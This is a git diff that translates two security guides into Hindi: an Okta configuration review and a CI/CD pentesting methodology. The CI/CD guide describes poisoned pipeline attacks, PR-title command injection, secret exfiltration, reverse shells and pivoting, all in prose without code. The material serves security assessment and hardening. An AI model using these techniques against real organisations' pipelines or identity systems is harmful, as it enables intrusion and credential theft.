डायरेक्टरीज़ से आयातित उपयोगकर्ताओं को देखेंगे। -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं के लिए कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता** कर सकें। ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +एक प्रोफाइल स्रोत एक **ऐप्लिकेशन है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्यता का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही ऐप्लिकेशन या डायरेक्टरी द्वारा स्रोत किया जा सकता है। -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +मैंने इसे नहीं देखा है, इसलिए इस विकल्प के संबंध में सुरक्षा और हैकिंग के बारे में कोई भी जानकारी सराहनीय है। ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +इस अनुभाग के **Domains** टैब में जांचें कि ईमेल पते क्या हैं जो ईमेल भेजने के लिए उपयोग किए जाते हैं और कंपनी का Okta में कस्टम डोमेन (जिसे आप शायद पहले से जानते हैं)। -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +इसके अलावा, **Setting** टैब में, यदि आप व्यवस्थापक हैं, तो आप "**कस्टम साइन-आउट पृष्ठ का उपयोग करें**" और एक कस्टम URL सेट कर सकते हैं। ### SMS -Nothing interesting here. +यहां कुछ दिलचस्प नहीं है। ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +आप यहां कॉन्फ़िगर किए गए अनुप्रयोगों को पा सकते हैं, लेकिन हम बाद में एक अलग अनुभाग में उनके विवरण देखेंगे। ### Other -Interesting setting, but nothing super interesting from a security point of view. +दिलचस्प सेटिंग, लेकिन सुरक्षा के दृष्टिकोण से कुछ सुपर दिलचस्प नहीं है। ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +यहां आप सभी **कॉन्फ़िगर किए गए अनुप्रयोगों** और उनके विवरण को पा सकते हैं: किसके पास उन तक पहुंच है, यह कैसे कॉन्फ़िगर किया गया है (SAML, OPenID), लॉगिन के लिए URL, Okta और अनुप्रयोग के बीच मैपिंग... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से एक अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +और आप ऐप के बारे में कुछ और विवरण देख सकते हैं (जैसे पासवर्ड प्रकट करने की सुविधा, यदि यह सक्षम है):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को अनुमोदित या रद्द कर सकें। -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +मैंने इसका उपयोग होते नहीं देखा है, लेकिन मुझे लगता है कि एक रक्षात्मक दृष्टिकोण से यह एक अच्छा फीचर है। ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **सुरक्षा सूचना ईमेल**: सभी को सक्षम होना चाहिए। +- **CAPTCHA एकीकरण**: कम से कम अदृश्य reCaptcha सेट करना अनुशंसित है +- **संगठन सुरक्षा**: सब कुछ सक्षम किया जा सकता है और सक्रियण ईमेल को लंबे समय तक नहीं रहना चाहिए (7 दिन ठीक है) +- **उपयोगकर्ता गणना रोकथाम**: दोनों को सक्षम होना चाहिए +- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [उपयोगकर्ता प्रबंधन](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें): +- स्व-सेवा पंजीकरण +- ईमेल प्रमाणीकरण के साथ JIT प्रवाह +- **Okta ThreatInsight सेटिंग्स**: खतरे के स्तर के आधार पर सुरक्षा को लॉग और लागू करें ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +यहां सही और **खतरनाक** कॉन्फ़िगर की गई **सेटिंग्स** को ढूंढना संभव है। ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जो एक उपयोगकर्ता उपयोग कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है। -In the **Enrollment** tab you can see how the ones that are required or optinal: +**Enrollment** टैब में आप देख सकते हैं कि कौन से आवश्यक या वैकल्पिक हैं:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +फोन को अक्षम करना अनुशंसित है। सबसे मजबूत संभवतः पासवर्ड, ईमेल और WebAuthn का संयोजन है। ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +हर ऐप का एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने की कोशिश कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है। -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएं** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं। ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +यहां आप विभिन्न समूहों को असाइन की गई सत्र नीतियों को पा सकते हैं। उदाहरण के लिए:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना अनुशंसित है (यदि यह संभव है)। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं। ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +पहचान प्रदाता (IdPs) सेवाएं हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को पहले एक सामाजिक खाते या स्मार्ट कार्ड के साथ प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है। -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को एक IdP की ओर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन। -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**यदि कोई पहचान प्रदाता कॉन्फ़िगर किया गया है** तो हमलावर और रक्षक के दृष्टिकोण से उस कॉन्फ़िगरेशन की जांच करें और **यदि स्रोत वास्तव में विश्वसनीय है** क्योंकि एक हमलावर इसे समझौता कर सकता है और Okta वातावरण तक पहुंच प्राप्त कर सकता है। ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +प्रतिनिधि प्रमाणीकरण उपयोगकर्ताओं को अपने संगठन के **Active Directory (AD) या LDAP** सर्वर के लिए क्रेडेंशियल दर्ज करके Okta में साइन इन करने की अनुमति देता है। -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +फिर से, इसे पुनः जांचें, क्योंकि एक हमलावर जो एक संगठन के AD को समझौता कर सकता है, इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है। ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** को **IP पते** के आधार पर पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र परिभाषित कर सकते हैं। -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +एक बार जब आप एक या अधिक नेटवर्क क्षेत्रों को परिभाषित कर लेते हैं, तो आप **उन्हें वैश्विक सत्र नीतियों**, **प्रमाणीकरण नीतियों**, VPN सूचनाओं, और **रूटिंग नियमों** में उपयोग कर सकते हैं। -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से IPs की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है। ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Endpoint Management**: एंडपॉइंट प्रबंधन एक शर्त है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है। +- मैंने अभी तक इसका उपयोग नहीं देखा है। TODO +- **Notification services**: मैंने अभी तक इसका उपयोग नहीं देखा है। TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए हैं**, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो। -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और जो आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं। -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +यहां बहुत सारे API टोकन नहीं होने चाहिए, क्योंकि यदि हैं तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है। ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +स्वचालन आपको स्वचालित क्रियाएं बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली ट्रिगर स्थितियों के सेट के आधार पर चलती हैं। -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +उदाहरण के लिए, एक स्थिति हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"। ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +लॉग डाउनलोड करें। ये **वर्तमान खाते** के **ईमेल पते** पर **भेजे** जाते हैं। ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +यहां आप **उपयोगकर्ताओं द्वारा किए गए कार्यों के लॉग** को बहुत सारे विवरणों के साथ पा सकते हैं जैसे Okta में लॉगिन करना या Okta के माध्यम से अनुप्रयोगों में लॉगिन करना। ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +यह **अन्य प्लेटफार्मों से लॉग आयात कर सकता है** जो Okta के साथ एक्सेस किए गए हैं। ### Rate limits -Check the API rate limits reached. +API दर सीमाओं की जांच करें। ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +यहां आप Okta वातावरण के बारे में **सामान्य जानकारी** पा सकते हैं, जैसे कंपनी का नाम, पता, **ईमेल बिलिंग संपर्क**, **ईमेल तकनीकी संपर्क** और यह भी कि किसे Okta अपडेट प्राप्त करने चाहिए और किस प्रकार के Okta अपडेट। ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +यहां आप Okta एजेंट डाउनलोड कर सकते हैं ताकि Okta को अन्य तकनीकों के साथ समन्वयित किया जा सके। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..7728e9457 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में इसका उपयोग करते हुए पाएंगे: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Cloud providers (वे अपने स्वयं के VCS प्लेटफार्म प्रदान करते हैं) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +CI/CD पाइपलाइनों डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति देती हैं विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं। -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +हालांकि, इन सिस्टम को **कहीं निष्पादित** करने की आवश्यकता होती है और आमतौर पर **संवेदनशील जानकारी तक पहुंचने या कोड तैनात करने के लिए विशेषाधिकार प्राप्त क्रेडेंशियल्स के साथ**। ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> भले ही कुछ VCS प्लेटफार्म इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति देते हैं, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं। -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका उपयोग हमलावर कर सकते हैं: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच मिलती है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है। +- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है। +- **Register**: कुछ प्लेटफार्म केवल बाहरी उपयोगकर्ताओं को एक खाता बनाने की अनुमति देंगे। +- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर उदाहरण के लिए अपने github खाते का उपयोग कर सकता है)। +- **Credentials**: Username+Pwd, व्यक्तिगत टोकन, ssh कुंजी, Oauth टोकन, कुकीज़... उपयोगकर्ता कई प्रकार के टोकन चुरा सकते हैं ताकि किसी तरह एक रिपॉजिटरी तक पहुंच प्राप्त कर सकें। +- **Webhooks**: VCS प्लेटफार्म वेबहुक उत्पन्न करने की अनुमति देते हैं। यदि वे **अदृश्य रहस्यों** के साथ **संरक्षित नहीं हैं**, तो एक **हमलावर उनका दुरुपयोग कर सकता है**। +- यदि कोई रहस्य नहीं है, तो हमलावर तीसरे पक्ष के प्लेटफार्म के वेबहुक का दुरुपयोग कर सकता है +- यदि रहस्य URL में है, तो वही होता है और हमलावर के पास भी रहस्य होता है +- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं: +- मुख्य शाखा को **उत्पादन को समझौता करने के लिए** समझौता करना। +- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने के लिए** समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)। +- **पाइपलाइन को समझौता करना** (अगली अनुभाग देखें) ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +पाइपलाइन को परिभाषित करने का सबसे सामान्य तरीका है **रिपॉजिटरी में होस्ट की गई CI कॉन्फ़िगरेशन फ़ाइल** का उपयोग करना जिसे पाइपलाइन बनाती है। यह फ़ाइल निष्पादित कार्यों के क्रम, प्रवाह को प्रभावित करने वाली शर्तों, और निर्माण वातावरण सेटिंग्स का वर्णन करती है।\ +ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को उस कोड के खिलाफ चलाता है**। -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +इसलिए हमलावर का अंतिम लक्ष्य किसी तरह **उन कॉन्फ़िगरेशन फ़ाइलों को समझौता करना** या **वे जो आदेश निष्पादित करते हैं**। ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का लाभ उठाता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है। -For a malicious actor to be successful performing a PPE attack he needs to be able to: +एक दुर्भावनापूर्ण अभिनेता के लिए PPE हमले को सफलतापूर्वक करने के लिए उसे सक्षम होना चाहिए: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या एक पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)। +- ध्यान दें कि कभी-कभी एक **बाहरी PR को "लिखने की पहुंच" के रूप में गिना जाता है**। +- भले ही उसके पास लिखने की अनुमतियाँ हों, उसे यह सुनिश्चित करने की आवश्यकता है कि वह **CI कॉन्फ़िगरेशन फ़ाइल या अन्य फ़ाइलों को संशोधित कर सकता है जिन पर कॉन्फ़िगरेशन निर्भर करता है**। +- इसके लिए, उसे **ब्रांच सुरक्षा को बायपास** करने में सक्षम होना पड़ सकता है। -There are 3 PPE flavours: +PPE के 3 प्रकार हैं: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िग** फ़ाइल को संशोधित करता है जो निष्पादित होने वाली है। +- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िग)। +- **Public PPE या 3PE**: कुछ मामलों में पाइपलाइनों को **उन उपयोगकर्ताओं द्वारा प्रेरित किया जा सकता है जिनके पास रिपॉजिटरी में लिखने की पहुंच नहीं है** (और जो शायद संगठन का हिस्सा भी नहीं हैं) क्योंकि वे एक PR भेज सकते हैं। +- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी के साथ**। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**। ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +पाइपलाइन को विषाक्त करने के 3 प्रकारों को जानने के बाद, चलिए देखते हैं कि एक हमलावर सफल शोषण के बाद क्या प्राप्त कर सकता है: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Secrets**: जैसा कि पहले उल्लेख किया गया था, पाइपलाइनों को उनके कार्यों के लिए **विशेषाधिकार** की आवश्यकता होती है (कोड प्राप्त करना, इसे बनाना, इसे तैनात करना...) और ये विशेषाधिकार आमतौर पर **रहस्यों में दिए जाते हैं**। ये रहस्य आमतौर पर **env चर या सिस्टम के भीतर फ़ाइलों के माध्यम से** सुलभ होते हैं। इसलिए एक हमलावर हमेशा जितना संभव हो सके उतने रहस्यों को निकालने की कोशिश करेगा। +- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िग में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**। +- **Computation**: कोड कहीं निष्पादित होता है, जिस स्थान पर यह निष्पादित होता है उसके आधार पर एक हमलावर आगे बढ़ने में सक्षम हो सकता है। +- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच के साथ समाप्त हो सकता है**। 